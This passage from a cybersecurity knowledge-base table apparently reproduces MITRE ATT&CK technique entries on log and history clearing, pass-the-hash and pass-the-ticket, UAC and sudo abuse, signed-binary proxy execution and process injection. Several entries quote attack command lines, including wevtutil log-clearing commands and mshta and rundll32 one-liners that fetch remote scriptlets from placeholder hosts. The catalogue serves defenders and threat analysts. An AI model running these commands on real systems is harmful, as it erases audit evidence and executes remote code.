name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\nT1070.005 | Network Share Connection Removal | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\nT1070.004 | File Deletion | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.\nT1070.003 | Clear Command History | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\nT1550.004 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1550.001 | Application Access Token | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nT1550.003 | Pass the Ticket | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\nT1550.002 | Pass the Hash | Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)\nT1550 | Use Alternate Authentication Material | Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\nT1548.004 | Elevated Execution with Prompt | Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)\nT1548.003 | Sudo and Sudo Caching | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\nT1548.002 | Bypass User Account Control | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\nT1548.001 | Setuid and Setgid | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\nT1548 | Abuse Elevation Control Mechanism | Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.\nT1070.002 | Clear Linux or Mac System Logs | Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n\nT1070.001 | Clear Windows Event Logs | Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).\nT1218.008 | Odbcconf | Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n\nT1218.007 | Msiexec | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)\nT1218.002 | Control Panel | Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)\nT1218.010 | Regsvr32 | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)\nT1218.009 | Regsvcs/Regasm | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\nT1218.005 | Mshta | Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\nT1218.004 | InstallUtil | Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\nT1218.001 | Compiled HTML File | Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\nT1218.003 | CMSTP | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\nT1218.011 | Rundll32 | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) \nT1055.012 | Process Hollowing | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.013 | Process Doppelg\u00e4nging | Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \nT1055.011 | Extra Window Memory Injection | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \nT1055.014 | VDSO Hijacking | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from 